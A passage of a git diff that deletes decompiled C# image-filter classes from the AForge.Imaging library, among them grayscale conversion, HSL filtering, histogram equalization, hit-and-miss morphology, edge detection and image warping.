BlueCoefficient; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Grayscale(double cr, double cg, double cb) - { - RedCoefficient = cr; - GreenCoefficient = cg; - BlueCoefficient = cb; - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)1052676; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0030: Unknown result type (might be due to invalid IL or missing references) - //IL_0036: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_010b: Unknown result type (might be due to invalid IL or missing references) - //IL_0111: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - PixelFormat pixelFormat = sourceData.PixelFormat; - if ((int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 137224) ? 3 : 4); - int num2 = sourceData.Stride - width * num; - int num3 = destinationData.Stride - width; - int num4 = (int)(65536.0 * RedCoefficient); - int num5 = (int)(65536.0 * GreenCoefficient); - int num6 = (int)(65536.0 * BlueCoefficient); - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num7 = 0; - while (num7 < width) - { - *ptr2 = (byte)(num4 * ptr[2] + num5 * ptr[1] + num6 * *ptr >> 16); - num7++; - ptr += num; - ptr2++; - } - ptr += num2; - ptr2 += num3; - } - return; - } - int num8 = (((int)pixelFormat == 1060876) ? 3 : 4); - byte* ptr3 = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr4 = (byte*)destinationData.ImageData.ToPointer(); - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num9 = 0; - while (num9 < width) - { - *ptr6 = (ushort)(RedCoefficient * (double)(int)ptr5[2] + GreenCoefficient * (double)(int)ptr5[1] + BlueCoefficient * (double)(int)(*ptr5)); - num9++; - ptr5 += num8; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleBT709.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleBT709.cs deleted file mode 100644 index fe99e73..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleBT709.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; - -namespace AForge.Imaging.Filters; - -[Obsolete("Use Grayscale.CommonAlgorithms.BT709 object instead")] -public sealed class GrayscaleBT709 : Grayscale -{ - public GrayscaleBT709() - : base(0.2125, 0.7154, 0.0721) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleRMY.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleRMY.cs deleted file mode 100644 index 5a0b252..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleRMY.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; - -namespace AForge.Imaging.Filters; - -[Obsolete("Use Grayscale.CommonAlgorithms.RMY object instead")] -public sealed class GrayscaleRMY : Grayscale -{ - public GrayscaleRMY() - : base(0.5, 0.419, 0.081) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleToRGB.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleToRGB.cs deleted file mode 100644 index 4bddea4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleToRGB.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class GrayscaleToRGB : BaseFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public GrayscaleToRGB() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - int width = sourceData.Width; - int height = sourceData.Height; - int num = sourceData.Stride - width; - int num2 = destinationData.Stride - width * 3; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - ptr2[2] = (ptr2[1] = (*ptr2 = *ptr)); - num3++; - ptr++; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleY.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleY.cs deleted file mode 100644 index 366964f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GrayscaleY.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; - -namespace AForge.Imaging.Filters; - -[Obsolete("Use Grayscale.CommonAlgorithms.Y object instead")] -public sealed class GrayscaleY : Grayscale -{ - public GrayscaleY() - : base(0.299, 0.587, 0.114) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLFiltering.cs deleted file mode 100644 index 050fbb7..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLFiltering.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HSLFiltering : BaseInPlacePartialFilter -{ - private IntRange hue = new IntRange(0, 359); - - private Range saturation = new Range(0f, 1f); - - private Range luminance = new Range(0f, 1f); - - private int fillH; - - private float fillS; - - private float fillL; - - private bool fillOutsideRange = true; - - private bool updateH = true; - - private bool updateS = true; - - private bool updateL = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IntRange Hue - { - get - { - return hue; - } - set - { - hue = value; - } - } - - public Range Saturation - { - get - { - return saturation; - } - set - { - saturation = value; - } - } - - public Range Luminance - { - get - { - return luminance; - } - set - { - luminance = value; - } - } - - public HSL FillColor - { - get - { - return new HSL(fillH, fillS, fillL); - } - set - { - fillH = value.Hue; - fillS = value.Saturation; - fillL = value.Luminance; - } - } - - public bool FillOutsideRange - { - get - { - return fillOutsideRange; - } - set - { - fillOutsideRange = value; - } - } - - public bool UpdateHue - { - get - { - return updateH; - } - set - { - updateH = value; - } - } - - public bool UpdateSaturation - { - get - { - return updateS; - } - set - { - updateS = value; - } - } - - public bool UpdateLuminance - { - get - { - return updateL; - } - set - { - updateL = value; - } - } - - public HSLFiltering() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public HSLFiltering(IntRange hue, Range saturation, Range luminance) - : this() - { - this.hue = hue; - this.saturation = saturation; - this.luminance = luminance; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - RGB rGB = new RGB(); - HSL hSL = new HSL(); - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - bool flag = false; - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - HSL.FromRGB(rGB, hSL); - if (hSL.Saturation >= saturation.Min && hSL.Saturation <= saturation.Max && hSL.Luminance >= luminance.Min && hSL.Luminance <= luminance.Max && ((hue.Min < hue.Max && hSL.Hue >= hue.Min && hSL.Hue <= hue.Max) || (hue.Min > hue.Max && (hSL.Hue >= hue.Min || hSL.Hue <= hue.Max)))) - { - if (!fillOutsideRange) - { - if (updateH) - { - hSL.Hue = fillH; - } - if (updateS) - { - hSL.Saturation = fillS; - } - if (updateL) - { - hSL.Luminance = fillL; - } - flag = true; - } - } - else if (fillOutsideRange) - { - if (updateH) - { - hSL.Hue = fillH; - } - if (updateS) - { - hSL.Saturation = fillS; - } - if (updateL) - { - hSL.Luminance = fillL; - } - flag = true; - } - if (flag) - { - HSL.ToRGB(hSL, rGB); - ptr[2] = rGB.Red; - ptr[1] = rGB.Green; - *ptr = rGB.Blue; - } - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLLinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLLinear.cs deleted file mode 100644 index 321cf3f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HSLLinear.cs +++ /dev/null @@ -1,146 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HSLLinear : BaseInPlacePartialFilter -{ - private Range inLuminance = new Range(0f, 1f); - - private Range inSaturation = new Range(0f, 1f); - - private Range outLuminance = new Range(0f, 1f); - - private Range outSaturation = new Range(0f, 1f); - - private Dictionary formatTranslations = new Dictionary(); - - public Range InLuminance - { - get - { - return inLuminance; - } - set - { - inLuminance = value; - } - } - - public Range OutLuminance - { - get - { - return outLuminance; - } - set - { - outLuminance = value; - } - } - - public Range InSaturation - { - get - { - return inSaturation; - } - set - { - inSaturation = value; - } - } - - public Range OutSaturation - { - get - { - return outSaturation; - } - set - { - outSaturation = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public HSLLinear() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - RGB rGB = new RGB(); - HSL hSL = new HSL(); - float num5 = 0f; - float num6 = 0f; - float num7 = 0f; - float num8 = 0f; - if (inLuminance.Max != inLuminance.Min) - { - num5 = (outLuminance.Max - outLuminance.Min) / (inLuminance.Max - inLuminance.Min); - num6 = outLuminance.Min - num5 * inLuminance.Min; - } - if (inSaturation.Max != inSaturation.Min) - { - num7 = (outSaturation.Max - outSaturation.Min) / (inSaturation.Max - inSaturation.Min); - num8 = outSaturation.Min - num7 * inSaturation.Min; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num9 = left; - while (num9 < num2) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - HSL.FromRGB(rGB, hSL); - if (hSL.Luminance >= inLuminance.Max) - { - hSL.Luminance = outLuminance.Max; - } - else if (hSL.Luminance <= inLuminance.Min) - { - hSL.Luminance = outLuminance.Min; - } - else - { - hSL.Luminance = num5 * hSL.Luminance + num6; - } - if (hSL.Saturation >= inSaturation.Max) - { - hSL.Saturation = outSaturation.Max; - } - else if (hSL.Saturation <= inSaturation.Min) - { - hSL.Saturation = outSaturation.Min; - } - else - { - hSL.Saturation = num7 * hSL.Saturation + num8; - } - HSL.ToRGB(hSL, rGB); - ptr[2] = rGB.Red; - ptr[1] = rGB.Green; - *ptr = rGB.Blue; - num9++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HistogramEqualization.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HistogramEqualization.cs deleted file mode 100644 index c916f68..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HistogramEqualization.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HistogramEqualization : BaseInPlacePartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public HistogramEqualization() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_0068: Unknown result type (might be due to invalid IL or missing references) - //IL_0072: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659) ? 1 : (((int)image.PixelFormat == 137224) ? 3 : 4)); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = image.Stride; - int num4 = stride - rect.Width * num; - int num5 = (num2 - left) * (num3 - top); - if ((int)image.PixelFormat == 198659) - { - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * stride + left; - int[] array = new int[256]; - for (int i = top; i < num3; i++) - { - int num6 = left; - while (num6 < num2) - { - array[*ptr]++; - num6++; - ptr++; - } - ptr += num4; - } - byte[] array2 = Equalize(array, num5); - ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * stride + left; - for (int j = top; j < num3; j++) - { - int num7 = left; - while (num7 < num2) - { - *ptr = array2[*ptr]; - num7++; - ptr++; - } - ptr += num4; - } - return; - } - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - ptr2 += top * stride + left * num; - int[] array3 = new int[256]; - int[] array4 = new int[256]; - int[] array5 = new int[256]; - for (int k = top; k < num3; k++) - { - int num8 = left; - while (num8 < num2) - { - array3[ptr2[2]]++; - array4[ptr2[1]]++; - array5[*ptr2]++; - num8++; - ptr2 += num; - } - ptr2 += num4; - } - byte[] array6 = Equalize(array3, num5); - byte[] array7 = Equalize(array4, num5); - byte[] array8 = Equalize(array5, num5); - ptr2 = (byte*)image.ImageData.ToPointer(); - ptr2 += top * stride + left * num; - for (int l = top; l < num3; l++) - { - int num9 = left; - while (num9 < num2) - { - ptr2[2] = array6[ptr2[2]]; - ptr2[1] = array7[ptr2[1]]; - *ptr2 = array8[*ptr2]; - num9++; - ptr2 += num; - } - ptr2 += num4; - } - } - - private byte[] Equalize(int[] histogram, long numPixel) - { - byte[] array = new byte[256]; - float num = 255f / (float)numPixel; - float num2 = (float)histogram[0] * num; - array[0] = (byte)num2; - for (int i = 1; i < 256; i++) - { - num2 += (float)histogram[i] * num; - array[i] = (byte)num2; - } - return array; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HitAndMiss.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HitAndMiss.cs deleted file mode 100644 index 2f2f191..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HitAndMiss.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HitAndMiss : BaseUsingCopyPartialFilter -{ - public enum Modes - { - HitAndMiss, - Thinning, - Thickening - } - - private short[,] se; - - private int size; - - private Modes mode; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Modes Mode - { - get - { - return mode; - } - set - { - mode = value; - } - } - - public HitAndMiss(short[,] se) - { - int length = se.GetLength(0); - if (length != se.GetLength(1) || length < 3 || length > 99 || length % 2 == 0) - { - throw new ArgumentException(); - } - this.se = se; - size = length; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public HitAndMiss(short[,] se, Modes mode) - : this(se) - { - this.mode = mode; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num3 = stride - rect.Width; - int num4 = stride2 - rect.Width; - int num5 = size >> 1; - byte[] array = new byte[3] { 255, 0, 255 }; - byte[] array2 = new byte[3]; - byte[] array3 = array2; - int num6 = (int)mode; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += top * stride + left; - ptr2 += top * stride2 + left; - for (int i = top; i < num2; i++) - { - int num7 = left; - while (num7 < num) - { - array3[1] = (array3[2] = *ptr); - byte b = byte.MaxValue; - for (int j = 0; j < size; j++) - { - int num8 = j - num5; - for (int k = 0; k < size; k++) - { - int num9 = k - num5; - short num10 = se[j, k]; - if (num10 != -1) - { - if (i + num8 < top || i + num8 >= num2 || num7 + num9 < left || num7 + num9 >= num) - { - b = 0; - break; - } - byte b2 = ptr[num8 * stride + num9]; - if ((num10 != 0 || b2 != 0) && (num10 != 1 || b2 != byte.MaxValue)) - { - b = 0; - break; - } - } - } - if (b == 0) - { - break; - } - } - *ptr2 = ((b == byte.MaxValue) ? array[num6] : array3[num6]); - num7++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HomogenityEdgeDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HomogenityEdgeDetector.cs deleted file mode 100644 index a9fe4ff..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HomogenityEdgeDetector.cs +++ /dev/null @@ -1,121 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HomogenityEdgeDetector : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public HomogenityEdgeDetector() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = num + rect.Width - 2; - int num4 = num2 + rect.Height - 2; - int stride = destination.Stride; - int stride2 = source.Stride; - int num5 = stride - rect.Width + 2; - int num6 = stride2 - rect.Width + 2; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += stride2 * num2 + num; - ptr2 += stride * num2 + num; - for (int i = num2; i < num4; i++) - { - int num7 = num; - while (num7 < num3) - { - int num8 = 0; - int num9 = *ptr; - int num10 = num9 - ptr[-stride2 - 1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[-stride2]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[-stride2 + 1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[-1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[stride2 - 1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[stride2]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - num10 = num9 - ptr[stride2 + 1]; - if (num10 < 0) - { - num10 = -num10; - } - if (num10 > num8) - { - num8 = num10; - } - *ptr2 = (byte)num8; - num7++; - ptr++; - ptr2++; - } - ptr += num6; - ptr2 += num5; - } - Drawing.Rectangle(destination, rect, Color.Black); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HorizontalRunLengthSmoothing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HorizontalRunLengthSmoothing.cs deleted file mode 100644 index ddfc1de..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HorizontalRunLengthSmoothing.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HorizontalRunLengthSmoothing : BaseInPlacePartialFilter -{ - private int maxGapSize = 10; - - private bool processGapsWithImageBorders; - - private Dictionary formatTranslations = new Dictionary(); - - public int MaxGapSize - { - get - { - return maxGapSize; - } - set - { - maxGapSize = System.Math.Max(1, System.Math.Min(1000, value)); - } - } - - public bool ProcessGapsWithImageBorders - { - get - { - return processGapsWithImageBorders; - } - set - { - processGapsWithImageBorders = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public HorizontalRunLengthSmoothing() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public HorizontalRunLengthSmoothing(int maxGapSize) - : this() - { - MaxGapSize = maxGapSize; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - int top = rect.Top; - int num = top + rect.Height; - int width = rect.Width; - int num2 = image.Stride - rect.Width; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)top * (nint)image.Stride + rect.Left; - for (int i = top; i < num; i++) - { - byte* ptr2 = ptr; - byte* ptr3 = ptr + width; - while (ptr < ptr3) - { - byte* ptr4 = ptr; - for (; ptr < ptr3 && *ptr == 0; ptr++) - { - } - if (ptr - ptr4 <= maxGapSize && (processGapsWithImageBorders || (ptr4 != ptr2 && ptr != ptr3))) - { - for (; ptr4 < ptr; ptr4++) - { - *ptr4 = byte.MaxValue; - } - } - for (; ptr < ptr3 && *ptr != 0; ptr++) - { - } - } - ptr += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HueModifier.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HueModifier.cs deleted file mode 100644 index 3454a20..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/HueModifier.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class HueModifier : BaseInPlacePartialFilter -{ - private int hue; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int Hue - { - get - { - return hue; - } - set - { - hue = System.Math.Max(0, System.Math.Min(359, value)); - } - } - - public HueModifier() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - public HueModifier(int hue) - : this() - { - this.hue = hue; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - RGB rGB = new RGB(); - HSL hSL = new HSL(); - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - HSL.FromRGB(rGB, hSL); - hSL.Hue = hue; - HSL.ToRGB(hSL, rGB); - ptr[2] = rGB.Red; - ptr[1] = rGB.Green; - *ptr = rGB.Blue; - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilter.cs deleted file mode 100644 index c69dfc8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilter.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public interface IFilter -{ - Bitmap Apply(Bitmap image); - - Bitmap Apply(BitmapData imageData); - - UnmanagedImage Apply(UnmanagedImage image); - - void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilterInformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilterInformation.cs deleted file mode 100644 index b63da8e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IFilterInformation.cs +++ /dev/null @@ -1,9 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public interface IFilterInformation -{ - Dictionary FormatTranslations { get; } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlaceFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlaceFilter.cs deleted file mode 100644 index e9998d6..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlaceFilter.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public interface IInPlaceFilter -{ - void ApplyInPlace(Bitmap image); - - void ApplyInPlace(BitmapData imageData); - - void ApplyInPlace(UnmanagedImage image); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlacePartialFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlacePartialFilter.cs deleted file mode 100644 index baac0f8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IInPlacePartialFilter.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public interface IInPlacePartialFilter -{ - void ApplyInPlace(Bitmap image, Rectangle rect); - - void ApplyInPlace(BitmapData imageData, Rectangle rect); - - void ApplyInPlace(UnmanagedImage image, Rectangle rect); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ImageWarp.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ImageWarp.cs deleted file mode 100644 index 26de2d9..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ImageWarp.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ImageWarp : BaseFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - private IntPoint[,] warpMap; - - public IntPoint[,] WarpMap - { - get - { - return warpMap; - } - set - { - if (value == null) - { - throw new NullReferenceException("Warp map can not be set to null."); - } - warpMap = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public ImageWarp(IntPoint[,] warpMap) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - WarpMap = warpMap; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int width = source.Width; - int height = source.Height; - int num2 = System.Math.Min(width, warpMap.GetLength(1)); - int num3 = System.Math.Min(height, warpMap.GetLength(0)); - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride2 - num2 * num; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - for (int i = 0; i < num3; i++) - { - for (int j = 0; j < num2; j++) - { - int num5 = j + warpMap[i, j].X; - int num6 = i + warpMap[i, j].Y; - if (num5 >= 0 && num6 >= 0 && num5 < width && num6 < height) - { - byte* ptr3 = ptr + (nint)num6 * (nint)stride + (nint)num5 * (nint)num; - int num7 = 0; - while (num7 < num) - { - *ptr2 = *ptr3; - num7++; - ptr2++; - ptr3++; - } - } - else - { - int num8 = 0; - while (num8 < num) - { - *ptr2 = 0; - num8++; - ptr2++; - } - } - } - if (width != num2) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr + (nint)i * (nint)stride + (nint)num2 * (nint)num, (width - num2) * num); - } - ptr2 += num4; - } - int num9 = num3; - while (num9 < height) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr + (nint)num9 * (nint)stride, 